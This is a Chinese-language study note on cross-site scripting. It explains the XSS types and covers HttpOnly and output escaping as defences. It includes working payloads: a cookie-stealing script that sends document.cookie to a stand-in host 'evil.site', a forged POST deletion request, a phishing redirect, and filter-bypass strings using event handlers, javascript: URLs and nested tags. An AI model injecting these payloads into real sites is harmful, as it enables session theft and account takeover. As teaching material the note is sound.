一、XSS攻擊簡介
- 跨站腳本攻擊的英文全稱是Cross-Site Scripting,為了與CSS有所區別,因此縮寫為“XSS”
- 由于同源策略的存在,攻擊者或者惡意網站的JavaScript代碼沒有辦法直接獲取用戶在其它網站的信息,但是如果攻擊者有辦法把惡意的JavaScript代碼注入目標網站的頁面中執行,他就可以直接訪問頁面上的信息,或者發送請求與服務端交互,達到跨域訪問的目的,這便是XSS攻擊。
- XSS攻擊本質上是一種注入類型的攻擊
- 在正常情況下,Web應用只會執行應用內預定義的JavaScript代碼來實現應用自身的功能;
- 如果應用對外部輸入參數處理不當,攻擊者可將惡意JavaScript代碼注入當前Web頁面,一旦受害者訪問這些頁面,攻擊者注入的惡意代碼就將開始執行。
- 最開始,這種攻擊是讓目標站點加載另一個惡意站點的腳本,因此稱為“跨站腳本”攻擊,但是后來這個定義的范圍逐漸擴展,凡是可以往目標站點注入腳本的攻擊行為都可以稱為跨站腳本攻擊。
- 當外部惡意代碼被注入正常應用的頁面后,瀏覽器無法區分它是應用自身的代碼還是外部注入的代碼,這些惡意代碼擁有與當前頁面正常JavaScript腳本一樣的權限,例如讀/寫Cookie、讀/寫頁面內容、發送HTTP請求,因此XSS攻擊能實現非常強大的攻擊操作,如竊取會話密鑰憑證信息、讀取網頁上的敏感數據、以受害者身份執行惡意操作等。
二、XSS攻擊基礎類型介紹
2.1 與服務端應用的處理邏輯相關聯的XSS攻擊
2.1.1 反射型XSS攻擊
- 反射型XSS攻擊是最常見的一種XSS攻擊類型。
- 反射型XSS攻擊指的是:服務端應用在收到客戶端的請求后,未對請求中的參數做合法性校驗或安全過濾,直接將參數用于構造HTML頁面并返回給瀏覽器顯示。如果參數中包含惡意腳本,就會以HTML代碼的形式被返回給瀏覽器執行。因此,這一類攻擊被稱為反射型XSS攻擊(Refleced XSS)。舉例如下
- 在做查詢時,用戶需要提交查詢關鍵詞,而這個關鍵詞又顯示在查詢結果頁面中,如果服務端應用未對關鍵詞做相應的安全校驗和過濾,則可能存在XSS漏洞。
- 最常見的反射型XSS攻擊方式是:攻擊者將惡意代碼包含在URL參數中,但是攻擊者需要誘導受害者“點擊”這個惡意URL,攻擊才能成功。
- 反射型XSS攻擊也叫做“非持久型XSS(Non-Persistent XSS)攻擊”,因為用于攻擊的Payload沒有持續存儲在服務端應用中,每次實施攻擊時都需要讓受害者訪問帶Payload的URL。
2.1.2 存儲型XSS攻擊
- 在存儲型XSS攻擊中,服務端應用將攻擊者提交的惡意代碼存儲在服務端,受害者每次訪問一個“干凈”的URL時,服務端就在響應頁面中嵌入之前存儲的惡意代碼,這些惡意代碼將在受害者客戶端執行。
- 由于不需要受害者的請求中夾帶惡意代碼,因此這種XSS攻擊更加穩定,危害性也更大。存儲型XSS攻擊舉例如下
- 假設一個博客系統存在存儲型XSS漏洞;
- 攻擊者撰寫一篇包含惡意JavaScript代碼的博客文章并發表至博客系統;
- 待包含惡意JavaScript代碼的文章發表之后,所有訪問了該博客文章的用戶,其瀏覽器都會執行這段惡意的JavaScript代碼,攻擊者便順利實施了存儲型XSS攻擊。
- 存儲型XSS攻擊通常也叫做“持久型XSS(Persistent XSS)攻擊”,因為一旦惡意代碼被植入,在服務端清除惡意代碼或修復相關功能之前,其攻擊效果都是持續存在的。
2.2 與前端處理邏輯相關聯的XSS攻擊
2.2.1 基于DOM的XSS攻擊
- 正常應用中的JavaScript代碼可以接受外部的輸入數據并直接在客戶端渲染執行,如果處理不當,它就有可能將外部數據當作JavaScript代碼來執行,因而產生XSS漏洞。
- 基于DOM的XSS攻擊定義:客戶端的JavaScript腳本在修改和構造當前頁面的DOM節點時觸發惡意代碼執行而非“服務端直接返回惡意代碼給客戶端執行”,這種攻擊方式叫做基于DOM的XSS攻擊,下面舉例說明
<div id="URL"></div>
<script>document.getElementById('URL').innerHTML = decodeURI(location.href); //location.href用于返回當前顯示的文檔的URL
</script>
//構造的當前頁面的URL如下:
http://localhost:8000/domxss.html?<img src=0 onerror="alert("XSS")">
//因此,受害者訪問該URL后,由于載入圖像失敗,因此觸發onerror事件,執行URL中指定的JavaScript彈窗代碼(彈窗中顯示“XSS”)。
- 上述案例與反射型XSS有本質區別
- 再次強調!反射型XSS能成功是因為:服務端對客戶端輸入的數據處理存在邏輯漏洞;
- 基于DOM的XSS攻擊能成功是因為:前端JavaScript代碼存在漏洞而非服務端程序的漏洞。如上述案例中,
document.getElementById('URL').innerHTML = decodeURI(location.href);
代碼將本文檔的URL嵌入到HTML頁面中,卻并沒有考慮URL本身的安全性,這便是一個前端JavaScript代碼的漏洞,因而給基于DOM的XSS攻擊提供了機會。
2.3 利用社會工程學的XSS攻擊
2.3.1 Self-XSS攻擊
- Self-XSS嚴格來說不算是Web應用漏洞,因為攻擊者沒有辦法直接將惡意代碼注入頁面,而是利用社會工程學欺騙用戶,讓用戶自己去復制惡意代碼并粘貼到瀏覽器中,因此被稱為Self-XSS攻擊。
三、XSS攻擊進階
3.1 XSS Payload簡介
- 我們將攻擊者植入的惡意代碼稱為XSS Payload,本質上,它就是一段JavaScript代碼,且由于XSS Payload和應用自身的JavaScript代碼在同一個執行環境中,所以正常應用能做的事情都能通過XSS Payload實現。
- 最常見的XSS Payload是通過讀取瀏覽器的Cookie對象從而發起“Cookie劫持”攻擊。
- Web應用通常使用Cookie作為用戶的身份憑證;
- 如果一個用戶的Cookie被攻擊者獲取,意味著攻擊者獲取了該用戶的身份,即攻擊者無需使用賬號和密碼,直接通過Cookie就可以登陸用戶的賬戶;
- 在之前的實例中,payload是直接寫在URL中的,為了實現更為復雜的攻擊邏輯,可以將payload放在一個JavaScript文件中,然后通過< script >標簽載入,這樣就能避免在URL的參數中寫入大量的JavaScript代碼,示例如下
//構造的URL
'http://localhost:8000/echo.php?name=<script src="http://evil.site/evil.js"></script>'//evil.js文件
var img = new Image(); //使用new關鍵字實例化一個Image對象并使用“img”名稱指代該實例。
img.src = 'http://evil.site/log?cookie=' + encodeURIComponent(document.cookie);
/*
目標:獲取“受害者在當前前端頁面中的cookie信息”
1. 受害者訪問攻擊者構造的URL;
2. 受害者瀏覽器接收到服務端發回的HTML源碼,由于受害者前端頁面JavaScript代碼存在漏洞(如:將URL作為HTML中內容返回),因此攻擊者構造的URL被嵌入受害者前端HTML頁面中,又由于攻擊者構造的URL中存在JavaScript代碼,因此受害者瀏覽器執行該惡意代碼;
3. URL中的<script>標簽指定使用的JavaScript代碼來自http://evil.site/evil.js;
4. http://evil.site/evil.js文件中,JavaScript代碼在受害者前端頁面中構造了一個Image實例,同時將獲取該圖像數據的源指定為惡意站點evil.site;
5. 在受害者的前端頁面試圖向攻擊者指定的惡意站點索要圖像數據時,惡意JavaScript代碼要求受害者必須攜帶受害者當前前端頁面的cookie信息;
6. 受害者前端執行該惡意JavaScript代碼后,惡意站點成功獲取受害者在當前前端頁面中的cookie信息;
7. 攻擊者獲取Cookie后,便可以受害者的身份訪問目標應用;
*/
3.2 強大的XSS Payload使用
3.2.1 構造GET和POST請求
- 通過JavaScript發送GET請求
- 最簡單的辦法是創建Image對象,將其src屬性指定為目標URL,這樣瀏覽器獲取圖像時就在當前頁面發送了GET請求。
- 通過JavaScript發送POST請求
- 使用JavaScript創建一個表單對象,填充表單中的字段,然后提交表單即可,示例如下
//下面的JavaScript代碼作用:通過POST請求方式刪除id=123的博客文章
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://blog.example.com/del';
document.body.appendChild(form);
/*
Node.appendChild() 方法將一個節點附加到指定父節點的子節點列表的末尾處。如果將被插入的節點已經存在于當前文檔的文檔樹中,那么 appendChild() 只會將它從原先的位置移動到新的位置(不需要事先移除要移動的節點)。
*/
var li = document.createElement("input"); //<li>列表項元素
li.name = 'id'; //id參數用于指定博客文章的id
li.value = '123';
form.appendChile(li);
form.submit();
3.2.2 XSS釣魚
- 在一個域名為可信域的URL中嵌入跳轉至惡意網站的JavaScript代碼。
- 假設example.com為可信域,evil.site為惡意網站,可以構造URL為
http://example.com/echo.php?name=<script>window.location='http://evil.site/';</script>
3.2.3 XSS攻擊平臺
- BeEF平臺:XSS攻擊平臺
四、XSS蠕蟲
(待補充)
五、XSS攻擊技巧
5.1 基本的變形
- 部分Web可能做了一定的安全過濾工作,但在很多場景中的安全過濾不夠完善,對XSS Payload進行簡單的變形就可能繞過防御機制。
- 常見的變形方式
- 更改字母的大小寫
- HTML對標簽的大小寫不敏感,因此< script >或< ScRiPT >都是正確的語法,可用于繞過“僅僅簡單過濾掉< script >標簽”這類規則。
- 填充空白字符(如空格、制表符、換行),可用于繞過“僅僅簡單過濾掉< script >標簽”這類規則。
- 有的過濾函數只是將< script >等9字符串刪除掉,因此我們可以構造類似
<sc<script>ript>...</scr<script>ipt>
這樣的惡意代碼來繞過該過濾機制。
- 更改字母的大小寫
5.2 事件處理程序
- 很多HTML節點都可以綁定事件處理程序,構造不同的HTML標簽并嘗試使用不同的事件處理程序,可以繞過一些過濾不嚴格的安全防御機制。
- 下屬攻擊能用的前提是后端PHP中沒有對字符如“src”、“onfunction”等的過濾機制。
<img src=0 onerror="alert(document.cookie);"> //加載圖片失敗時觸發onerror事件
<object onerror=alert(document.domain)>
<input onfocus=alert(document.domain)>
<video src=0 onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
5.3 JavaScript偽協議
5.3.1 JavaScript偽協議定義
- 偽協議不同于因特網上所真實存在的協議,如http://,https://,ftp://,而是為關聯應用程序而使用的,如:tencent://(關聯QQ),data:(用base64編碼來在瀏覽器端輸出二進制文件),還有就是javascript:。
- 我們可以在瀏覽器地址欄里輸入"javascript:alert('JS!');",點擊跳轉后會發現,實際上瀏覽器是把javascript:后面的代碼當JavaScript來執行,并將結果值返回給當前頁面。
5.3.2 JavaScript偽協議使用
- 瀏覽器可以接受內聯的JavaScript代碼作為URL,因此在“需要指定URL”的標簽屬性中,可以嘗試構造一個JavaScript偽協議的URL來執行JavaScript代碼,舉例如下:
/*
<a>標簽定義超鏈接,用于從一個頁面鏈接到另一張頁面。最重要的屬性是href屬性,它指示鏈接的目的地。當用戶點擊<a>標簽內的內容時,瀏覽器會嘗試檢索并顯示href屬性指定的URL所表示的文檔,或者執行JavaScript表達式、方法和函數的列表。如果href屬性不存在,<a>標簽將不會被視為超鏈接。
*/
<a href=javascript:alert(1)>Click me</a>
<iframe src=javascript:alert(2)></iframe> //iframe嵌入目標URL頁面
- 一些安全功能可能會過濾掉JavaScript偽協議,因此可以嘗試在關鍵詞中插入空白字符繞過檢測,舉例如下
<a href="java#13script	:alert(document.domain)">Click me</a>
- 還有一種開發人員常犯的錯誤:在檢驗URL的合法性時只校驗host是否為合法域名,而沒有校驗協議類型,在這種場景中,也可以繞過校驗實現XSS攻擊,舉例如下:
javascript://example.com/%0d%0aalert(1)
//注意:"%0d","%0a"分別是回車符、換行符的編碼
//因此,“//example.com/”被當作JavaScript代碼的注釋,所以整個代碼都是合法且可以正常執行的(可以自己在瀏覽器地址欄中輸入嘗試)。
5.4 編碼繞過
- 一些不太完善的防御方案,是通過過濾不安全的函數名,或者檢測可以的字符串來做攻擊檢測的。
- 在JavaScript中可以通過動態構造字符串或者使用八進制編碼,來繞過靜態特征過濾。
5.5 繞過長度限制
- 最好的辦法是把XSS Payload寫到別處,再通過簡短的代碼加載這段XSS Payload。
5.6 使用< base >標簽
- < base >標簽的作用是定義頁面上的所有使用“相對路徑”標簽的host地址,舉例如下
<base href="http://www.gogle.com" />
<img src="/init//en_All/images/logolw.png" />
//這個<base>標簽將指定其后的標簽默認從"http://www.gogle.com"取host域名
//如果攻擊者在頁面中插入了<base>標簽并指定域名為惡意站點,就可以在遠程服務器上偽造數據,劫持當前頁面中所有使用“相對路徑”的標簽。
5.7 window.name的妙用
- 如果在當前頁面中將較長的Payload寫在window.name屬性中,然后跳轉到下一個頁面,將這個Payload讀取出來執行,就可以實現Payload的跨域傳遞。
六、JavaScript框架
- JavaScript開發框架可以快速簡潔地完成前端開發,但如果開發者使用不當,也可能產生XSS漏洞。一般來說,JavaScript框架產生的XSS漏洞都是DOM類型的。
七、XSS攻擊的防御
7.1 HttpOnly
- HttpOnly作用:讓該cookie只能用于HTTP/HTTPS傳輸,使得客戶端JavaScript腳本無法讀取cookie,這在一定程度上減少了XSS漏洞帶來的危害。
- PHP在配置文件中開啟會話Cookie的HttpOnly屬性:
session.cookie_httponly=On
- 雖然使用HttpOnly能在一定程度上防止會話劫持,但在XSS攻擊中,惡意腳本同樣可以在不知道用戶Cookie的情況下完成竊取用戶信息或模擬用戶發送HTTP請求,因此防御XSS攻擊不能僅靠HttpOnly屬性,仍需要更加成熟的解決XSS漏洞的方案。
7.2 輸入過濾
7.3 輸出轉義
- 既然參數在輸入時做全局過濾和轉義存在各種問題,那么就應該在輸出變量時根據不同場景有針對性地編碼或轉義。
7.3.1 HTML轉義
- 最常見的變量輸出場景是該變量用于構造HTML頁面,這里有兩種情況:一種是變量作為HTML標簽的屬性值;另一種是變量作為標簽的內容。
<input name="name" value="$value"> //變量作為屬性值
/*
當變量作為屬性值時,雙引號必須轉義,否則變量里含有雙引號會將屬性提前閉合。另外,單引號也要轉義,因為屬性值用單引號包圍也是合法的。
*/
<p>$value</p> //變量作為標簽內容
/*
當變量作為標簽內容時,必須讓變量以文本形式顯示,而不能引入其他HTML標簽。
因此,通過對輸入的“>”、“<”字符轉義,這樣就不會產生新標簽了。
*/
- 因為HTML轉義是將字符轉換成“&xx”的形式,如雙引號轉義成“";”。如果變量的原始內容就包含了“";”這六個字符,那么輸出到HTML頁面上時,這六個字符將被反轉義并顯示成雙引號,內容發生了變化,從而產生漏洞。為了避免上述產生的問題,因此“&”字符也需要轉義處理。